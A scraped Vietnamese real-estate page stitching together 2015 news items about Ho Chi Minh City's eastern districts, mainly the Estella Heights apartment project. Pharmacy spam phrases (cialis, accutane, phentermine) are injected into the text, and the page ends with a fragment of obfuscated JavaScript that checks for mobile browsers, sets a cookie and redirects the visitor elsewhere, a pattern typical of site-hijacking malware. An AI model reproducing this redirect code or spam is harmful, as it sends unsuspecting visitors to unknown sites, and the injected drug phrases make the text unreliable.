TP.HCM: Hàng loạt dự án BĐS khu Đông chạy đua tiến độ

Chính sự đột phá về hạ tầng mà thời gian qua, bất động sản khu vực phía Đông Tp.HCM vẫn luôn được nhà đầu tư và khách hàng quan tâm.

Đại công trường

Chủ tịch HĐQT Công ty cổ phần đầu tư Nam Long, ông Nguyễn Xuân Quang chia sẻ: “Chúng tôi đang tiến hành đàm phán, mua lại quỹ đất tại quận 2 và 9 thì bị đối thủ giành mất. Khu Đông Sài Gòn đang là tâm điểm thu hút nhà đầu tư và sắp tới sẽ nổ ra sự cạnh tranh khốc liệt”.

Theo đó, quý 2/2015 được ghi nhận là quý có số căn hộ cao cấp mở bán theo quý đứng thứ nhì trong lịch sử (tương đương 4.500 căn), đa số nằm ở khu đông Sài Gòn, như Estella Heights (giai đoạn 2 của dự án The Estella), Tháp 2 của dự án The Sun Avenue, The Krista (giai đoạn 2 của dự án PARCSpring), Vista Verde – tòa tháp Lotus, Gateway Thảo Điền, khu căn hộ Sarimi thuộc khu đô thị Sala Thủ Thiêm và các tòa Landmark 1, 2, 4, 5 thuộc dự án Vinhomes Central Park.

Theo thống kê của CBRE Việt Nam, dự kiến đến năm 2017 nguồn cung căn hộ tại quận 2 và quận 9 sẽ tăng mạnh lần lượt là 58% và 200%. Tương tự, tổng diện tích sàn xây dựng các trung tâm thương mại dự kiến sẽ tăng 10% tại quận 2 trong vòng 3 năm tới. Các dự án BĐS đa số “bám” theo trục tuyến metro, hoặc các tuyến đường vành đai 1,2 và 3.

bds khu đông

Dự án Masteri Thảo Điền Quận 2

“Xét về cơ hội để ở và cả đầu tư, phía Đông TP. HCM đang là lựa chọn khá tốt hiện nay, vì đây là khu vực cửa ngõ thành phố, với hàng loạt dự án hạ tầng được xây dựng kết nối với toàn khu vực. Hơn nữa, so với mặt bằng chung, giá bất động sản ở khu này đang ở mức hợp lý”, ông Nguyễn Xuân Lộc, Tổng giám đốc Công ty Techcom Real phân tích.

Thật vậy, dọc tuyến đường Xa lộ Hà Nội, bắt đầu từ chân cầu Sài Gòn hướng về phía quận Thủ Đức, có thể nói nơi đây là một đại công trường xây dựng. Theo ghi nhận của chúng tôi, tại thời điểm hiện nay nhiều hạng mục của dự án Masteri Thảo Điền đang được thi công, bốn block nhà đã được thi công tới tầng 14-20. Dự án Estella Heights đang được triển khai thi công móng cọc. Nằm ở mặt tiền đường Mai Chí Thọ, dự án Lexington Residence của Novaland tại thời điểm ngày 24/7 đang thi công tại tầng 22.

Tại Khu đô thị Thủ Thiêm, dự án Sarami nằm trong khu đại dự án Sala tính đến nay đã xây dựng xong 2 tầng hầm, 11 tầng nổi và đang thi công tầng mái.

Rầm rộ xây dựng nhất phải kể đến siêu dự án Vinhomes Central Park của Tập đoàn Vingroup. Một số block nhà ở cao cấp đang thi công đến tầng 4-5, trong đó riêng dự án bệnh viên Vinmec Central Park đã thi công xong tầng 7 và dự kiến sẽ đi vào hoàn thiện vào cuối năm nay. Nằm cách đó không xa, dự án Vista Verde của Capitaland cũng đang được gấp rút thi công ngày đêm để kịp tiến độ. Theo đó, hiện tại hai tòa tháp lớn của khu phức hợp này đã xây đến tầng thứ 9. Một dự án khác là First Home Khang Điền của công ty N.H.O sắp thi công xong phần móng…

Liệu đang bị nén chặt?

Ở một giác độ khác, một số chuyên gia quy hoạch cho rằng, trong tương lai ở đây sẽ là những cao ốc hoành tráng, tầng cao phổ biến từ 20-65 tầng, hệ thống trung tâm thương mại mua sắm với mật độ xây dựng khá dày. Khi đưa vào sử dụng, có khả năng “hút” thêm hàng chục ngàn người vào đây sinh sống trong khi tiện ích bên ngoài chưa được quan tâm đúng mức sẽ tạo ra nhiều áp lực lớn cho cuộc sống.

co so ha tang

Sự đột phá về hạ tầng đã khiến khu Đông trở thành Đại công trường của Thành phố

Về vấn đề này, bà Dương Thùy Dung – Giám đốc bộ phận nghiên cứu công ty CBRE Việt Nam, khẳng định rằng mật độ xây dựng tại khu Đông vẫn còn khá lớn vì thành phố đã quy hoạch khu vực này khá tốt, đảm bảo hài hòa không gian sống trong thời gian dài. Nếu nhìn về tương lai, thành phố vẫn dành một nguồn lực tài chính khá lớn để tập trung đầu tư mở rộng, nâng cấp hệ thống hạ tầng giao thông kết nối khu Đông với nhiều khu vực khác, do vậy áp lực dân số lên hạ tầng cơ sở là không đáng kể.

Tuy nhiên, cũng theo bà Dung, cái thiếu lớn nhất tại quận 2, 9 và Thủ Đức là thành phố chưa đầu tư nhiều khu tiện ích công cộng để người dân có thể được thụ hưởng. Bởi vì, hiện tại đa số các dự án BĐS ở đây đều dành nguồn vốn lớn để đầu tư các khu tiện ích, vui chơi bên trong dự án, người ngoài khó có thể được tham gia hưởng thụ. Do vậy, thành phố cần thực hiện quy hoạch những khu công viên quy mô lớn, khu giải trí công cộng có sức chứa lớn nhằm phục vụ đời sống người dân trong tương lai.

Một số nhà quy hoạch cũng cho rằng Tp.HCM đang thực hiện quá trình giãn dân đô thị bằng việc phát triển nhiều khu đô thị vệ tinh. Tuy nhiên, nếu không quy hoạch tốt thì chúng ta dễ dàng lập lại thời kỳ bê tông hóa đô thị, tức là đâu đâu cũng toàn là nhà chọc trời mà thiếu đầu tư mở rộng hạ tầng giao thông kết nối, tạo nên những nút thắt cổ chai.

(cafef.vn)

thi truong bat dong san tro lai

Nhộn nhịp thị trường địa ốc khu Đông TPHCM

Dù giá tăng 5-10% trong nửa đầu năm, đa số các dự án khu Đông TP HCM vẫn có tỷ lệ giao dịch thành công 75% trở lên

Gần hai quý đầu năm 2015, thanh khoản của thị trường bất động sản khu Đông TP HCM đạt tỷ lệ cao. Cụ thể, các dự án trung – cao cấp thuộc “phố nhà giàu” quận 2 và Bình Thạnh đều có lượng giao dịch lớn ngay từ những đợt mở bán đầu tiên. Đa số có tỷ lệ hấp thụ chiếm 75% trở lên như: Vinhomes Central Park, Estella Heights, Masteri, Sala…

du an vinhomes central park

Vinhomes Central Park

Ở phân khúc giá mềm hơn (thấp nhất dưới 20 triệu đồng mỗi m2), các dự án hút khách và nhận được nhiều sự quan tâm của người mua gồm: City Home, La Astoria, S-Home, The Art, Sunview Town… Ngoài ra, nhà phố và biệt thự song lập xây sẵn của Khang Điền và M.I.K tại quận 9 cũng ghi nhận mức tiêu thụ khá tốt. Thậm chí các dự án đất nền tại quận 2, 9 nằm im nhiều năm qua không có giao dịch cũng chộn rộn bán mua trở lại.

Giao dịch sôi động, giá bán một số dự án nằm gần các tuyến giao thông huyết mạch hoặc có vị trí đắc địa thuộc khu Đông TP HCM tăng 5-10% từ đầu năm đến nay. Có 2 hình thức tăng giá phổ biến trên thị trường. Một là tăng giá theo giai đoạn do chủ đầu tư chủ động điều chỉnh (tăng giá sau mỗi đợt bán tùy thuộc vào mức độ lệch tầng hoặc khác biệt vị trí). Hai là tăng giá do nhà đầu tư tác động, còn gọi là khoản tiền chênh lệch. Khoản tiền chênh này không xuất hiện trong hợp đồng, do bên bán và bên mua tự thỏa thuận trên thị trường thứ cấp.

Theo kết quả khảo sát của nhiều hệ thống sàn giao dịch tại TP HCM, căn hộ Masteri, Vinhomes Central Park đều đã xuất hiện tình trạng chênh lệch giá. Mức chênh lệch thấp là 50-70 triệu đồng và mức cao lên đến một vài trăm triệu đồng mỗi căn. Các trường hợp này do nhà đầu tư cầm trịch và rơi vào nhóm bất động sản cá biệt, có tầm nhìn toàn cảnh trung tâm thành phố, sông, hồ bơi; hoặc căn góc (có 2-3 hướng nhìn). Masteri là trường hợp cá biệt được mở bán theo hình thức bốc thăm sau khi làn sóng nhà đầu tư săn lùng căn hộ dự án này tăng mạnh. Giá bán trên thị trường thứ cấp đã tăng 10% trong 5 tháng qua.

Riêng dự án Sala (mở bán tuần cuối cùng của tháng 5/2015), có vị trí đắc địa ngay trung tâm Thủ Thiêm nên được mệnh danh là “hàng hiệu” thuộc dạng hiếm của khu Đông TP HCM. Ngay khi mở bán giai đoạn đầu (hơn 40 triệu đồng mỗi m2), dự án đã được nhiều công ty môi giới bất động sản tranh nhau mua sỉ để phân phối lại. Động thái này kích giá trên thị trường thứ cấp tăng 3-5% trong vòng chưa đầy một tháng chào hàng.

Giám đốc một công ty BĐS đánh giá: “Thanh khoản thị trường khu Đông đang cực kỳ sôi động trong quý II và tín hiệu tăng giá xuất hiện rõ nét hơn quý I. Khu vực này đang ở giai đoạn hình thành bước đệm chuyển sang mặt bằng giá mới”.

masteri khu dong tphcm

Dự án Masteri Thảo Điền liền kề tuyến Metro Bến Thành – Suối Tiên

Theo ông, một số dự án ghi nhận lượng giao dịch rất lớn vì nhiều khách hàng tin tưởng vào tiến độ của các công trình giao thông huyết mạch kết nối khu Đông TP HCM với khu trung tâm và khu Nam thành phố. Hạ tầng dần hoàn chỉnh như các tuyến cao tốc, metro, vành đai, các đại lộ chính được mở rộng thêm đã mở ra bức tranh tươi sáng cho thị trường bất động sản khu vực này. Đây là yếu tố tinh thần tiếp thêm niềm tin và kỳ vọng cho khách hàng cũng như nhà đầu tư, từ đó kích cầu hiệu quả.

“Thị trường khu Đông sẽ tiếp tục tăng trưởng tốt từ đây đến cuối năm. Nguồn cung sẽ tăng thêm và sẽ có một lượng không nhỏ các dân cư dịch chuyển về đây”, chuyên gia này dự báo.

Chủ tịch Hiệp hội Bất động sản TP HCM, Lê Hoàng Châu nhận xét: “Trong những tháng đầu năm 2015, thị trường có nhiều dự án bung hàng hơn, đặc biệt là phân khúc cao cấp tại khu vực khu Đông Sài Gòn xuất hiện thêm tín hiệu hồi phục mạnh mẽ”.

Theo ông Châu, khu Đông được thành phố ưu tiên tập trung đầu tư hạ tầng đồng bộ, tạo điều kiện giao thông thuận lợi đã thu hút nhiều dòng tiền chảy vào khu vực này. “Bất động sản thế giới có khái niệm về cự li vàng, tức là khoảng đường đi bộ chấp nhận được. Đây là cơ hội đặc biệt cho khu vực có tuyến metro đầu tiên đi qua. Phương tiện giao thông hiện đại này đã thổi luồng gió mới vào thị trường địa ốc”, ông Châu lý giải.

Trao đổi với VnExpress, Giám đốc Bộ phận Tư vấn công ty Savills Việt Nam, Nguyễn Thị Vân Khanh cho biết: “Trong hơn 5 tháng qua, bất động sản khu Đông TP HCM đã tăng giá cục bộ ở một vài dự án, mức tăng trung bình 5-8%. Thanh khoản thị trường duy trì ở mức cao”.

Theo bà Khanh, cơ sở hạ tầng là một trong những yếu tố quan trọng quyết định đến tình hình hoạt động của thị trường bất động sản nói chung. Việc tuyến tàu điện số một đang được ráo riết triển khai cùng với một số tuyến đường trọng điểm khác được hoàn thành sẽ có tác động không nhỏ đối với tất cả các bất động sản liền kề hoặc xung quanh đó.

Chuyên gia này phân tích, thị trường nhà ở (căn hộ, biệt thự, nhà phố liền kề, đất nền) chịu ảnh hưởng bởi yếu tố hạ tầng nhanh và rõ rệt nhất, kế đến là thương mại dịch vụ và cuối cùng là văn phòng cho thuê. Dự báo trong trung và dài hạn sẽ có sự dịch chuyển (chỗ ở, mua sắm, làm việc) ra các khu vực xa hơn hơn dọc theo hướng các công trình hạ tầng đang xây dựng, đặc biệt là tuyến metro.

Tuy đánh giá cao tác động của hạ tầng, bà Khanh cho rằng có nhiều yếu tố khiến cho bất động sản tăng giá bán (giao dịch) hoặc cho thuê, hay trở nên hấp dẫn và thu hút người mua. Ngoài hạ tầng, còn phải kể đến vị trí dự án, uy tín chủ đầu tư, nhà thầu xây dựng, tiến độ triển khai công trình, chất lượng – cấu trúc sản phẩm và cả thời điểm mở bán.

Theo VnExpress

Mở bán dự án Estella Heights

Mở bán dự án Estella Heights

Keppel Land và đối tác Tiến Phước mở bán các căn hộ thuộc dự án Estella Heights vào lúc 15h ngày 10/4 và 8-18h ngày 11/4 tại khách sạn Sofitel Legend Metropole Hanoi với giá từ 36 triệu đồng/m2.

Dự án Estella Heights nằm tại trung tâm quận 2, TP HCM, cách trung tâm quận 1 khoảng 15 phút di chuyển qua Xa lộ Hà Nội hoặc hầm Thủ Thiêm và cách trung tâm khu đô thị Phú Mỹ Hưng quận 7 khoảng 20 phút qua cầu Phú Mỹ, kết nối dễ dàng với các quận lân cận.

Mở bán dự án Estella Heights

Dự án Estella Heights

Với tổng diện tích 2,54 ha, Estella Heights được phát triển trong một không gian với nhiều mảng xanh bao quanh. Dự án được xây dựng thành hai giai đoạn với giai đoạn đầu gồm 496 căn nằm trên hai tòa tháp cao 33 tầng, có các loại căn hộ từ 1-4 phòng ngủ diện tích từ 60m2 đến 180m2, giá bán từ 36 triệu đồng một m2. Estella Heights dự kiến được hoàn thành vào cuối năm 2017.Cư dân Estella Heights sẽ được hưởng nhiều tiện ích xung quanh như siêu thị, trung tâm thương mại, chợ, rạp chiếu phim, các nhà hàng, cửa hiệu trong khu Thảo Điền – An Phú, hệ thống trường học các cấp…

Được thiết kế xanh mát theo phong cách khu nghỉ dưỡng hiện đại,  Estella Heights tích hợp hàng loạt tiện ích như nhà câu lạc bộ với phòng giải trí, phòng tập thể dục, quán cà phê, vườn trên cao, 400m đường chạy bộ, sân tennis, hai hồ bơi dài 50m.

Mở bán dự án Estella Heights

Phối cảnh hồ bơi tại Estella Heights cialis bestellen schweiz

Estella Heights còn có hồ bơi lười dành cho trẻ em và một phòng giải trí được trang bị đầy đủ thiết bị bếp, tiện nghi phòng khách dành cho các gia đình để tận hưởng buổi tiệc tối thân mật. Mỗi căn hộ cũng được đảm bảo một chỗ đậu xe ôtô.

Tại đợt mở bán lần đầu tiên được chủ đầu tư Keppel Land tổ chức ở TP HCM vào đầu năm 2015, dự án Estella Heights đã nhận được sự quan tâm của hàng nghìn khách hàng và hơn 90% trong tổng số 250 căn hộ chào bán đã được đặt mua.

Estella là dự án bất động sản tại Việt Nam được tặng giải vàng Tiêu chuẩn xanh do Cơ quan Quản lý Xây dựng Singapore trao tặng. Với Estella Heights, chủ đầu tư Keppel Land cũng cam kết sẽ tiếp tục đoạt được giải thưởng này.

Mở bán dự án Estella Heights

Khách hàng tham gia sự kiện mở bán Estella Heights tại TP HCM.

Keppel Land là đơn vị phát triển bất động sản có danh mục đa dạng ở Hà Nội, TP HCM, Đồng Nai và Vũng Tàu, bao gồm các văn phòng hạng A, khu nhà ở dân cư, khu đô thị phức hợp và căn hộ dịch vụ cho thuê như tòa nhà Trung tâm Quốc tế và Hoàng Viên Quảng Bá tại Hà Nội, Saigon Centre, Villa Riviera, Estella, Riviera Cove, Riviera Point và dự án Nam Rạch Chiếc tại TP HCM, khu đô thị ven sông Đồng Nai.

Estella Heights dự kiến hoàn thành vào cuối năm 2017.

Nguồn: vnexpress

Chênh lệch lớn giữa các phân khúc dự án phát triển nhà ở

Chênh lệch lớn giữa các phân khúc dự án phát triển nhà ở

Theo ông Lê Hoàng Châu, Chủ tịch Hiệp hội Bất động sản TP Hồ Chí Minh, kết quả khảo sát của Hiệp hội cho thấy, trong số 201 dự án nhà ở đang được triển khai xây dựng và 689 dự án đang tạm ngưng đầu tư tại TP Hồ Chí Minh đã có đến 483 dự án nhà ở thuộc phân khúc trung bình, chiếm tỷ lệ hơn 71,3%.

Chênh lệch lớn giữa các phân khúc dự án phát triển nhà ở

Trong khi đó chỉ có 46 dự án nhà ở dành cho người thu nhập thấp, đạt tỷ lệ gần 6,8% và 40 dự án nhà ở cao cấp, chiếm tỷ lệ 5,9%; còn lại là 108 dự án nhà ở chưa xác định được phân khúc, chiếm hơn 15,9%.

Thực trạng này cho thấy còn khá nhiều chủ dự án đang phân vân, chưa xác định sẽ đầu tư theo phân khúc nào cho phù hợp để có thể tiêu thụ được sản phẩm ngay từ khi được phép rao bán căn hộ hình thành trong tương lai.

Mặt khác, với số lượng vỏn vẹn chỉ có 46 dự án nhà ở được xác định dành cho người thu nhập thấp sẽ hoàn thành trong những năm sắp tới so với nhu cầu còn rất lớn hiện nay, thị phần nhà ở giá rẻ này tại TP Hồ Chí Minh sẽ tiếp tục đối mặt với nguy cơ thiếu hụt.

Cũng do chỉ có 40 dự án nhà ở cao cấp, nên về lý do nhiều dự án bất động sản cao cấp dù tồn kho cũng ít chịu giảm giá những năm gần đây; việc giảm giá chỉ xảy ra với các nhà đầu tư thứ cấp, mua đi bán lại…

Ông Lê Hoàng Châu cho rằng, nhiều doanh nghiệp đã lựa chọn đầu tư ở phân khúc thị trường bất động sản cao cấp với nhận thức là nhu cầu ở phân khúc này luôn luôn có sẵn. Đến cuối năm 2014, lượng hàng tồn kho trong 36 dự án điển hình được khảo sát trước đó 2 năm đã giảm rõ rệt. Phân khúc bất động sản cao cấp hồi phục cũng nhờ vị trí đắc địa, nhiều tiện ích, giá hợp lý và phương thức thanh toán linh hoạt.

methylprednisolone 4 mg tablets

Thực tế cho thấy, dù tiêu thụ rất chậm trong nhiều năm, nhưng đầu năm nay chủ đầu tư dự án Estella ở quận 2 tiếp tục mở bán căn hộ tại dự án Estella Heights nằm sát cạnh với mức giá lên tới 50 triệu đồng/m2. Và ngay trong ngày mở bán đã có khoảng 90% trong tổng số 250 căn có người đặt cọc.

Hoặc như dự án cao cấp Vinhomes gần đó, tuy chỉ mới được khởi động và chào bán với giá khá cao, song cũng đã thu hút được nhiều người quan tâm.

Do đó, theo ông Châu ý kiến quan ngại về khả năng khủng hoảng thừa trong phân khúc thị trường căn hộ cao cấp tại TP Hồ Chí Minh là khó xảy ra nếu không nói là thiếu khi thị trường bất động sản nóng trở lại, nhất là khi quy định cho người nước ngoài được mua và sở hữu nhà không quá 30% căn hộ trong 1 tòa nhà chung cư, không quá 250 căn nhà trong 1 địa bàn phường được thực hiện trong năm nay.

Nhiều chuyên gia bất động sản tại TP Hồ Chí Minh đã cho rằng, thị trường nhà ở thành phố sẽ còn nhiều dự án ở phân khúc trung bình phải xuống hạng để giảm giá bán cho phù hợp với phân khúc nhà ở giá rẻ. Đồng thời, sẽ còn nhiều dự án trong số vài trăm dự án đang tạm ngưng triển khai nêu trên tiếp tục được chuyển nhượng cho các chủ đầu tư có tiềm lực, bởi lý do thiếu vốn.

Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights

Sự kiện Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights

Sáng nay ngày 7/3/2015 tại nhà mẫu Estella Heights – số 88 đường Song Hành, Quận 2 đã diễn ra “Sự kiện Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights” do Công ty Keppel Land cùng Công ty CP Đầu tư và Phát triển nhà Sài Gòn (Saigonhouse) phối hợp tổ chức.

Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights

Ngay từ 9h sáng, không khí sôi nổi đã ngập tràn không gian của nhà mẫu. Trong khuôn khổ sự kiện, khách hàng được chào đón với chương trình biểu diễn âm nhạc và nghệ thuật đặc sắc nhằm tôn vinh và chào mừng ngày Quốc tế Phụ nữ 8/3. Ngoài ra những khách hàng đặt mua mỗi căn hộ tại sự kiện sẽ được nhận một Iphone 6 như một món quá tri ân của nhà đầu tư và công ty vì đã quan tâm và ủng hộ cho dự án.

Sau đây là một số hình ảnh sự kiện diễn ra trong sáng nay:

Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights

Hai khách hàng nhận quà tặng trong sáng nay.

Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights

Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights

Khách hàng được tư vấn về căn hộ Estella Heights.

Chào mừng ngày Quốc tế Phụ nữ tại Estella Heights

 

Tên dự án: Estella Heights (giai đoạn 2 của dự án The Estella)
Mô hình dự án: Căn hộ cao cấp
Mục đích sử dụng: Để ở
Vị trí: Xa Lộ Hà Nội, Khu An Phú, Quận 2, TP.HCM
Cách trung tâm Quận 1: 6,5 km
Hiện trạng: Chuẩn bị mở bán trong năm 2015
Quy mô: accutane canada drugs 47.906 m2
Số phòng 700 căn hộ
Số tầng: 19 – 22 tầng
Loại hình: 01 – 04 phòng ngủ
Chủ sở hữu: Lâu dài với người Việt Nam
Đơn vị phát triển: Tập Đoàn Bất Động Sản Keppelland (Singgapore)

Thông tin liên hệ: Ms. Quyên – Phone: 09022541939

Tìm hiểu thêm về dự án Estella Heights

 

Keppel Land mở bán căn hộ Estella Heights

Keppel Land mở bán căn hộ Estella Heights

Keppel vừa phối hợp cùng Công ty Tiến Phước mở bán căn hộ Estella Heights nằm ngay trung tâm quận 2, TP.HCM với giá từ 36 triệu đồng/m2.

Keppel Land mở bán căn hộ Estella Heights

Estella Heights nằm ngay trung tâm quận 2, TP.HCM

Estella Heights được xây dựng trên diện tích khoảng 2,54ha, diện tích xây dựng 47.906m2, nằm trên Xa lộ Hà Nội, phường An Phú, quận 2, TP.HCM. Dự án được phát triển thành nhiều giai đoạn. Trong đó, giai đoạn một gồm 496 căn nằm trên hai tòa tháp cao 33 tầng, có các loại căn hộ từ 1-4 phòng ngủ với diện tích từ 60m2 đến 180m2, dự kiến được hoàn thành vào cuối năm 2017.

Trong đợt mở bán đầu tiên này, khách hàng sẽ được chiết khấu 5% và hưởng lịch thanh toán linh hoạt kéo dài đến 3 năm. Ngoài ra, người mua nhà cũng được ưu tiên cho vay với lãi suất thấp từ các ngân hàng Vietcombank, BIDV, Standard Chartered, ANZ

canadian pharmacy phentermine 37.5

Dự án căn hộ Estella Heights có vị trí đắc địa, ngay tại siêu thị Metro An Phú – An Khánh, Quận 2. Là dự án của chủ đầu tư uy tín, Tập đoàn Keppel Land Singapore. Với những đặc điểm nổi bật, gồm:

  • Tiện ích vượt trội: 5 tầng TTTM: Vui chơi, giải trí, mua sắm cao cấp…3 hồ bơi nghỉ dưỡng, Tennis, Sky Garden, phòng giải trí đặc biệt.
  • Giao nhà đầy đủ nội thất: Thiết bị vệ sinh, máy lạnh, bếp điện…Ban Công kiếng rộng, điện dự phòng 100%.
  • Chỉ cần 10 phút đi vào trung tâm quận 1
  • Hồ bơi tràn, hồ bơi lười, hồ bơi trẻ em, sân cỏ, BBQ, đường chạy bộ, thảm golf, khu thể dục, sân cầu lông, bóng rổ, phòng giải trí đặc biệt, phòng đa năng, phòng Gym, sân vườn, café, phòng xem phim, phòng xông hơi….

Nguồn: dddn.com vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}